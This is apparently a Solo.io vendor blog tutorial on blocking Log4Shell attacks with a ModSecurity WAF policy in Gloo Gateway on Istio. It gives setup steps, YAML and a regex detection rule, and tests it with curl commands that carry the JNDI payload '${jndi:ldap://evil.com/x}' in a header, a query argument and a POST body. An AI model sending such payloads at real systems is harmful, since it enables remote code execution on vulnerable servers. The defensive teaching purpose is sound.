Cilium networking in Istio with Gloo Mesh Get started now

Exit Icon

Block Log4Shell attacks with Gloo Gateway

Jim Barton,  
| August 02, 2022

It’s been an extraordinarily difficult few months for zero-day vulnerabilities impacting Java system security. Headlines screamed “The Internet’s on fire” with the weaponization of the Log4Shell zero-day vulnerability CVE-2021-44228 in December 2021. It reached a Critical CVSS score of 10 (out of 10). TechCrunch reported that numerous Big Tech systems were successfully attacked.

Solo blogged here about Log4Shell within days of its emergence as a threat, documenting that Solo products were not impacted by Log4Shell. We also outlined an approach to block the attacks in the systems of Gloo Edge users by leveraging its Web Application Firewall (WAF) integration to protect the ingress points of your application network.

A few weeks after that, we blogged about an alternative approach to stopping Log4Shell that worked by blocking malicious traffic to untrusted services at the egress points of your network.

We also discussed both of these strategies at SoloCon 2022 back in March of this year. See the recording for that session at the end of this post.

Then just when everyone thought it was safe to go back to the water after Log4Shell, the Spring4Shell exploit emerged as yet another zero-day threat to Java-based systems. We wrote here about a similar strategy to block these attacks at the application network ingress point.

To put it mildly, the past eight months have been a challenging time security-wise for enterprise Java systems.

In our original Log4Shell post, we used the Envoy WAF filter integrated inside the standalone Gloo Edge API gateway.  In this post, we’ll revisit this work with a similar example. But this time we’ll explore Solo’s new Gloo API Gateway, built on top of Istio. In addition to offering equivalent gateway features, the Gloo API Gateway delivers the benefits of being integrated with the Istio control plane under Gloo management: multi-tenancy capabilities, superior cross-cluster operations, and more complete service observability.

Log4Shell review

Let’s first review the Log4Shell attack and how it operates. The root cause is a flaw in the commonly used open-source Java library Log4j. Many enterprise developers (including yours truly) have used Log4j for years to instrument, debug, and audit application servers. One interesting feature is that it allows remote code execution in places where Log4j Lookups are employed. In the case of Log4Shell attacks, JNDI Lookups are exploited to cause execution of code from remote services controlled by the attacker.

These vulnerabilities are most commonly exploited in Java systems that are exposed to the Internet via some kind of API gateway. Requests accepted by externally facing systems could be vulnerable to malicious requests that pass in Log4j Lookup strings through request bodies, headers, or arguments. In short, if a responding system logs these headers using an older version of Log4j, then that system may be vulnerable to attack.

This article from the Swiss CERT provides a nice visualization of how an attack can occur.

User-uploaded Image

Source: GovCERT.ch

I might be vulnerable. How do I respond?

If your systems are potentially vulnerable, there are a number of avenues to mitigate that risk.

  1. Update to the latest patched Log4j versions. Apache has already released a patched version 2.15.0 that shuts off this attack vector. Remember that it may be necessary to update not only the Log4j direct dependencies of your systems, but also any transitive dependencies that may be vulnerable, including popular Apache libraries like Struts, Solr, and Druid.
  2. Initiate a vulnerability scan. There are both open-source and enterprise tools that can thoroughly analyze your systems for vulnerabilities to Log4Shell (and a hundred others). At Solo.io, we’re particularly fond of our partner Snyk, which offers scanning tools in both free and paid flavors.

In addition to these two approaches, Gloo Gateway can help! It provides Web Application Firewall support with a widely used framework called ModSecurity, which began life as an Apache project. From the Gloo documentation:

“API Gateways act as a control point for the outside world to access the various application services running in your environment. A Web Application Firewall offers a standard way to inspect and handle all incoming traffic. ModSecurity is one such firewall. ModSecurity uses a simple rules language to interpret and process incoming http traffic.”

In this blog post, we will use a simplified version of one of the OWASP CoreRuleSet draft rules to block any potentially malicious traffic trying to exploit the Log4Shell vulnerability. We will implement this in a single, compact ModSecurity role, and we will deploy it in a Gloo Gateway component, to protect any service fronted by that Gateway.

Example: Use Gloo Gateway to block Log4Shell attacks

We’ll build and test an example to show how you can use Gloo Gateway to protect systems that are vulnerable to Log4Shell attacks.

If you’d like to follow along in your own environment, you’ll need a Kubernetes cluster and associated tools, plus an Istio deployment and an installation of Gloo Mesh Enterprise. We ran the tests in this blog on Gloo Mesh Enterprise v2.0.7 with Istio v1.13.4. We hosted all of this on a local instance of k3d v5.4.3.

You’ll need a license key to install Gloo Mesh Enterprise if you don’t already have one. You can obtain a key by initiating a free trial here.

For this exercise, we’ll also use some common CLI utilities like kubectl, curl, and git. Make sure these prerequisites are all available to you before jumping into the next section. I’m building this on MacOS but other platforms should be perfectly fine as well.

Clone Github Repo

The resources required for this exercise are available in the gloo-gateway-use-cases repo on Github. Clone that to your workstation and switch to the gloo-gateway-use-cases example directory. We’ll primarily be using the resources in the log4shell example.

git clone https://github.com/solo-io/gloo-gateway-use-cases.git
cd gloo-gateway-use-cases

Install Gloo API Gateway

Since we’re just evaluating the API Gateway component of Gloo, you’ll only need a single k8s cluster active. However, if you already have multiple clusters in place, you can certainly use that configuration as well.

If you don’t have Istio or Gloo installed, there is a simplified installation script available in the Github repo you cloned in the previous section. Before you walk through that script, you’ll need three pieces of information.

  1. Place a Gloo license key in the environment variable GLOO_MESH_LICENSE_KEY. If you don’t already have one of these, you can obtain it from your Solo account executive.
  2. Supply a reference to the repo where the hardened Solo images for Istio live. This value belongs in the environment variable ISTIO_REPO. You can obtain the proper value from this location once you’re a Gloo Mesh customer or have activated a free trial.
  3. Supply a version string for Gloo Mesh Gateway in the environment variable GLOO_MESH_VERSION. For the tests we are running here, we use v2.0.7.

From the gloo-gateway-use-cases directory at the top level of the cloned repo, execute the setup script below. It will configure a local k3d cluster containing Istio with the Gloo API Gateway component activated. The script will fail if any of the three environment variables above is not present.

./setup/setup.sh

The output from the setup script should resemble what you see below. If you require a more complex installation, the complete Gloo Mesh installation guide is available here.

INFO[0000] Using config file setup/k3d/gloo.yaml (k3d.io/v1alpha4#simple)
INFO[0000] portmapping '8080:80' targets the loadbalancer: defaulting to [servers:*:proxy agents:*:proxy]
INFO[0000] portmapping '8443:443' targets the loadbalancer: defaulting to [servers:*:proxy agents:*:proxy]
INFO[0000] Prep: Network
INFO[0000] Created network 'k3d-gloo'
INFO[0000] Created image volume k3d-gloo-images
INFO[0000] Starting new tools node...
INFO[0000] Starting Node 'k3d-gloo-tools'
INFO[0001] Creating node 'k3d-gloo-server-0'
INFO[0001] Creating LoadBalancer 'k3d-gloo-serverlb'
INFO[0001] Using the k3d-tools node to gather environment information
INFO[0001] Starting new tools node...
INFO[0001] Starting Node 'k3d-gloo-tools'
INFO[0002] Starting cluster 'gloo'
INFO[0002] Starting servers...
INFO[0002] Starting Node 'k3d-gloo-server-0'
INFO[0008] All agents already running.
INFO[0008] Starting helpers...
INFO[0008] Starting Node 'k3d-gloo-serverlb'
INFO[0015] Injecting records for hostAliases (incl. host.k3d.internal) and for 3 network members into CoreDNS configmap...
INFO[0017] Cluster 'gloo' created successfully!
INFO[0017] You can now use it like this:
kubectl config use-context k3d-gloo
kubectl cluster-info
Context "k3d-gloo" renamed to "gloo".
Attempting to download meshctl version v2.0.7
Downloading meshctl-darwin-amd64...
Download complete!, validating checksum...
Checksum valid.
meshctl was successfully installed 🎉

Add the Gloo Mesh CLI to your path with:
export PATH=$HOME/.gloo-mesh/bin:$PATH

Now run:
meshctl install # install Gloo Mesh management plane
Please see visit the Gloo Mesh website for more info: https://www.solo.io/products/gloo-mesh/
💻 Installing gloo mesh enterprise in the management cluster
Finished installing chart 'gloo-mesh-enterprise' as release gloo-mesh:gloo-mesh-enterprise
Registering cluster
Dynamically found relay address: 172.29.0.3:9900
📃 Copying root CA relay-root-tls-secret.gloo-mesh to remote cluster from management cluster
📃 Copying bootstrap token relay-identity-token-secret.gloo-mesh to remote cluster from management cluster
📃 Creating gloo KubernetesCluster CRD in management cluster
💻 Installing gloo mesh agent in the remote cluster
Finished installing chart 'gloo-mesh-agent' as release gloo-mesh:gloo-mesh-agent
Finished upgrading chart 'gloo-mesh-agent' as release gloo-mesh:gloo-mesh-agent
⌚ Waiting for relay agent to have a client certificate
✅ Done registering cluster!
namespace/istio-gateways created
✔ Istio core installed
✔ Istiod installed
✔ Ingress gateways installed
✔ Installation complete Making this installation the default for injection and validation.

Thank you for installing Istio 1.13. Please take a few minutes to tell us about your install/upgrade experience! https://forms.gle/pzWZpAvMVBecaQ9h9
namespace/gloo-mesh-addons created
namespace/gloo-mesh-addons labeled
Release "gloo-mesh-agent-addons" does not exist. Installing it now.
NAME: gloo-mesh-agent-addons
LAST DEPLOYED: Thu Jul 21 13:48:07 2022
NAMESPACE: gloo-mesh-addons
STATUS: deployed
REVISION: 1
TEST SUITE: None
roottrustpolicy.admin.gloo.solo.io/root-trust-policy created

Install htttpbin Application

HTTPBIN is a great little REST service that can be used to test a variety of http operations and echo the response elements back to the consumer. We’ll use it throughout this exercise. First, we’ll install the httpbin service on our k3d cluster. Run:

kubectl create namespace httpbin --context gloo
kubectl --context gloo label namespace httpbin istio-injection=enabled
kubectl apply -f large-payloads/httpbin.yaml -n httpbin --context gloo

You should see:

namespace/httpbin created
namespace/httpbin labeled
serviceaccount/httpbin created
service/httpbin created
deployment.apps/httpbin created

You can confirm that the httpbin pod is running by searching for pods with an app label of httpbin:

kubectl get pods -l app=httpbin -n httpbin

And you will see:

NAME                       READY   STATUS    RESTARTS   AGE
httpbin-66cdbdb6c5-2cnm7   1/1     Running   0          29s

Create a Workspace

A Workspace is a really important new feature in Gloo Mesh 2.0. By providing a team-oriented artifact “container”, Workspaces make it much easier to express policies that clearly delineate boundaries between resources that are owned by various teams within your organization. The Workspaces you specify in turn generate Istio artifacts that enforce multi-tenant-aware policies. You can learn more about them here.

In our case, we’re focused strictly on gateway functionality and not so much on shared tenancy. So we’ll create a namespace and a single Workspace to reflect the domain of our ops-team that is maintaining our gateway capability.

apiVersion: v1
kind: Namespace
metadata:
  name: ops-team
---
apiVersion: admin.gloo.solo.io/v2
kind: Workspace
metadata:
  name: ops-team
  namespace: gloo-mesh
spec:
  workloadClusters:
  - name: '*'
    namespaces:
    - name: ops-team
    - name: istio-gateways
    - name: httpbin
---
apiVersion: admin.gloo.solo.io/v2
kind: WorkspaceSettings
metadata:
  name: ops-team
  namespace: ops-team
spec:
  options:
    eastWestGateways:
    - selector:
        labels:
          istio: eastwestgateway

You can create the Workspace above using this command:

kubectl apply -f log4shell/workspace.yaml --context gloo

You should see results like this:

namespace/ops-team created
workspace.admin.gloo.solo.io/ops-team created
workspacesettings.admin.gloo.solo.io/ops-team unchanged

Establish a VirtualGateway

Let’s establish a Gloo Mesh VirtualGateway that we’ll attach to the default istio-ingressgateway that was configured when we installed our local Istio instance earlier. We’ll configure this gateway to handle our inbound, north-south traffic by selecting any RouteTables that are specified in the ops-team workspace. We’ll create such a RouteTable momentarily. Here is the VirtualGateway YAML:

apiVersion: networking.gloo.solo.io/v2
kind: VirtualGateway
metadata:
  name: north-south-gw
  namespace: ops-team
spec:
  workloads:
    - selector:
        labels:
          istio: ingressgateway
        cluster: gloo
  listeners: 
    - http: {}
      port:
        name: http2
      allowedRouteTables:
        - host: '*'
          selector:
            workspace: ops-team

Now we’ll apply this configuration to establish the north-south gateway:

kubectl apply -f large-payloads/virtual-gateway.yaml --context gloo

That should yield a result like this:

virtualgateway.networking.gloo.solo.io/north-south-gw created

Configure a RouteTable

RouteTables are a key Gloo API Gateway abstraction that specify routing policies to apply to requests. You can learn more about them in the request routing documentation here. For this exercise, we require just a simple RouteTable that attaches to our north-south-gw and routes all inbound requests to our httpbin service.

apiVersion: networking.gloo.solo.io/v2
kind: RouteTable
metadata:
  name: httpbin
  namespace: ops-team
spec:
  hosts:
    - '*'
  virtualGateways:
    - name: north-south-gw
      namespace: ops-team
      cluster: gloo
  workloadSelectors: []
  http:
    - name: httpbin
      labels:
        waf: "true"
      forwardTo:
        destinations:
          - ref:
              name: httpbin
              namespace: httpbin
              cluster: gloo
            port:
              number: 8000

Let’s apply this configuration:

kubectl apply -f log4shell/route-table.yaml --context gloo

And observe that the RouteTable was created as expected:

routetable.networking.gloo.solo.io/httpbin created

The initial service has a security problem!

Log4Shell attacks operate by passing in a Log4j expression that causes a lookup to a remote server, like a JNDI identity service. The malicious expression might look something like this: ${jndi:ldap://evil.com/x}. It might be passed in to the service via a header, a request argument, or a request payload. What the attacker is counting on is that the vulnerable system will log that string using Log4j without checking it. That’s what triggers the destructive JNDI lookup and the ultimate execution of malicious code.

We’ll simulate one of these attack vectors by passing our evil.com string in a request header to our gateway, and then see that request routed to the target service.

We’ll use curl to simulate the attack, passing in the attack string as the value of the standard User-Agent header:

curl -X GET -H "User-Agent: \${jndi:ldap://evil.com/x}" localhost:8080/anything -i

The /anything endpoint of httpbin simply echoes back the request headers passed into it.

You can expect a response like the one below. Note in particular this entry in the headers response: "User-Agent": "${jndi:ldap://evil.com/x}". If httpbin were logging this header using Log4j, then we might have a real problem on our hands.

HTTP/1.1 200 OK
server: istio-envoy
date: Fri, 22 Jul 2022 21:53:41 GMT
content-type: application/json
content-length: 760
access-control-allow-origin: *
access-control-allow-credentials: true
x-envoy-upstream-service-time: 18

{
  "args": {},
  "data": "",
  "files": {},
  "form": {},
  "headers": {
    "Accept": "*/*",
    "Host": "localhost:8080",
    "User-Agent": "${jndi:ldap://evil.com/x}",
    "X-B3-Parentspanid": "84b8898792c42020",
    "X-B3-Sampled": "0",
    "X-B3-Spanid": "ed3f851bb41343b9",
    "X-B3-Traceid": "0f215a02c35999eb84b8898792c42020",
    "X-Envoy-Attempt-Count": "1",
    "X-Envoy-Internal": "true",
    "X-Forwarded-Client-Cert": "By=spiffe://gloo/ns/httpbin/sa/httpbin;Hash=70f17b29de03d7588686720fbea0ec88ebe438ad39345511e698f381f968b8d1;Subject=\"\";URI=spiffe://gloo/ns/istio-gateways/sa/istio-ingressgateway-service-account"
  },
  "json": null,
  "method": "GET",
  "origin": "10.42.0.1",
  "url": "http://localhost:8080/anything"
}

Integrate a simple WAF policy

There are a number of ModSecurity rules that have been promoted to thwart Log4Shell attacks. In this post, we are adapting a simplified version of a rule that has been proposed as an addition to the CoreRuleSet here.

SecRule REQUEST_LINE|ARGS|ARGS_NAMES|REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_BODY|REQUEST_HEADERS|XML:/*|XML://@*  
  "@rx ${jndi:(?:ldaps?|iiop|dns|rmi)://" 
  "id:1000,phase:2,deny,status:403,log,msg:'Potential Remote Command Execution: Log4j CVE-2021-44228'"

We won’t attempt a ModSecurity rule authoring tutorial here. There are better sources for that information, like the official community GitHub site.

But let’s examine briefly what this rule does. Line 1 identifies ModSec variables we want to match, entities like the REQUEST_BODY and REQUEST_HEADERS. These are entities where the contents might be logged by log4j when the request is received, so we want to be sure to protect them. A full ModSec variable list is available here and a complete reference manual is here.

Line 2 is the condition that is applied to the variables listed in Line 1. In this case, we’re matching against strings that begin with ${jndi.

Finally, Line 3 defines the action to be taken when the rule is matched. In this case, we are denying the request and passing back a 403 Forbidden error code.

We’ll apply this rule using the WAFPolicy API of Gloo Gateway. Note from the policy YAML before that we have configured this rule to apply to ay routes that have the label waf set to a true value. Take a look at the httpbin RouteTable we established in a previous step, which already has that waf label in place.

This highlights one of the core strengths of Gloo Gateway, the ability to apply sophisticated policies once and have them automatically applied to multiple backend services, with no changes to the target services. This is not only true of WAF policies, but also complex authNZ and transformation policies too. Just add a label to the RouteTables of the services you need to protect from Log4Shell, and you have both instant and consistent protection across all those services.

See our partner Snyk’s post about normalizing authentication policies that span a variety of backend services. OutSystems has also written about its use of Solo gateway technology to achieve similar results in a complex, multi-tenant environment.

Here is the full WAFPolicy that we’ll apply to any service in our application network whose RouteTable contains a waf label.

apiVersion: security.policy.gloo.solo.io/v2
kind: WAFPolicy
metadata:
  name: log4jshell
  namespace: ops-team
spec:
  applyToRoutes:
  - route:
      labels:
        waf: "true"
  config:
    disableCoreRuleSet: true
    customInterventionMessage: 'Log4Shell malicious payload'
    customRuleSets:
    - ruleStr: |
        SecRuleEngine On
        SecRequestBodyAccess On
        SecRule REQUEST_LINE|ARGS|ARGS_NAMES|REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_BODY|REQUEST_HEADERS|XML:/*|XML://@*  
          "@rx \${jndi:(?:ldaps?|iiop|dns|rmi)://" 
          "id:1000,phase:2,deny,status:403,log,msg:'Potential Remote Command Execution: Log4j CVE-2021-44228'"

IMPORTANT NOTE: Do not accept our simple rule in this post as the final word on the subject. It is simply an example that blocks some common attack vectors. There are indications that it may be inadequate by itself. Please do not deploy this sample rule to production without conducting your own due diligence. We recommend following developments in security-focused communities like CoreRuleSet to keep up with the latest best practices and CRS versions.

We’ll apply the new Gateway configuration to our cluster using kubectl:

kubectl apply -f log4shell/waf-policy.yaml --context gloo

Expect a response like this:

wafpolicy.security.policy.gloo.solo.io/log4jshell created

Now let’s thwart some EVIL!

Can our new WAFPolicy configuration defeat a sampling of Log4Shell attacks? We’ll answer that by simulating three attack vectors against our service: against request headers, request arguments, and finally payloads.

Request Header Attacks

We’ll use curl to simulate the same attack we used before with the unprotected service. Recall that the service fulfilled the request with no problems, which would have created a problem had the backend service been vulnerable to Log4Shell.

curl -X GET -H "User-Agent: \${jndi:ldap://evil.com/x}" localhost:8080/anything -i

But observe the difference with our WAF protection in place. The malicious request is now rejected with a 403 Forbidden error.

HTTP/1.1 403 Forbidden
content-length: 27
content-type: text/plain
date: Fri, 22 Jul 2022 22:16:53 GMT
server: istio-envoy

Log4Shell malicious payload

The request header attack is defeated!

Request Argument Attacks

Software services often log argument values when accepting new requests. That makes them a likely Log4Shell attack vector. We’ll again use curl to simulate an attack by issuing a request that has a single argument arg-1 with value ${jndi:ldap://evil.com/x}. Note that in our curl command we had to use a number of special-character-escaping backslashes so that characters like $ and { and } are passed as literals to the service.

curl -X GET localhost:8080/anything\?arg-1=\$\\{jndi:ldap://evil.com/x\\} -i

The response shows that the ModSec rule is again doing its job as expected:

HTTP/1.1 403 Forbidden
content-length: 27
content-type: text/plain
date: Fri, 22 Jul 2022 22:19:15 GMT
server: istio-envoy

Log4Shell malicious payload

The request argument attack is defeated!

Request Payload Attacks

Services that receive message payloads, like POST and PUT endpoints, often log the payload bodies when accepting new requests. That makes them a likely Log4Shell attack vector. We’ll use curl to simulate an attack by issuing a POST request that has the following payload: arg-1=${jndi:ldap://evil.com/x}. Here is our “attacking” curl command:

curl -X POST -d "arg-1=\${jndi:ldap://evil.com/x}" localhost:8080/anything -i

But our WAF is solid and again denies the request:

HTTP/1.1 403 Forbidden
content-length: 27
content-type: text/plain
date: Fri, 22 Jul 2022 22:21:38 GMT
server: istio-envoy

Log4Shell malicious payload

The request payload attack is defeated!

Learn More

In this blog post, we demonstrated how to use a Gloo Gateway WAFPolicy to block Log4Shell attacks against your own systems with a single ModSecurity rule.

IMPORTANT NOTE: Do not accept our simple rule in this post as the final word on the subject. It is simply an example that blocks some common attack vectors. There are indications that it may be inadequate by itself. Please do not deploy this sample rule to production without conducting your own due diligence. We recommend following developments in security-focused communities like CoreRuleSet to keep up with the latest best practices and CRS versions.

All resources used to build the example in this post are available on GitHub.

Do you want to explore further how Solo and Gloo Gateway can help you secure your microservice and legacy environments?

BACK TO BLOG